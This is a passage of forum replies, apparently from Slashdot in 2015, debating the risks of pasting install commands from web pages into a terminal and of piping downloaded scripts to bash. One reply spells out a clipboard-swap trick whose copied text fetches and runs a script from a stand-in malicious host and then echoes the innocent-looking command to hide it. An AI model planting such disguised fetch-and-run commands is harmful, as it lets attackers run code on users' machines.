Re:Don't copy paste from a website to a terminal
by koide on Thursday November 12, 2015 @04:35PM
(#10556315)
Well, you can combine the two approaches.
The text on the webpage reads
wget https://example.com/script.sh | bash
but when copied is actually
wget https://evilpile.com/script.sh | bash; echo wget https://example.com/script.sh \| bash
or whatnot.
Re:Don't copy paste from a website to a terminal
by ewindisch on Thursday November 12, 2015 @03:41PM
(#10555954)
The connection-closed problem can be solved by wrapping the code in the script within a function, then calling that function at the end of the script. Of course, that needs to be done by the software's author, but we trust the authors of our software if we're going to run it, yes?
Re:Don't copy paste from a website to a terminal
by semi-extrinsic on Thursday November 12, 2015 @03:41PM
(#10555952)
Or even
$ git clone https://github.com/somedev/package .
$ ./install.py
wget https://example.com/script.sh | bash
If you trust the source, you might as well install it. Otherwise, we're basically arguing that everyone who has ever installed any non-distro software is an idiot.
Consuming http or the connection dying and script ending early and being left in a weird state is probably a more interesting argument than the trust issue.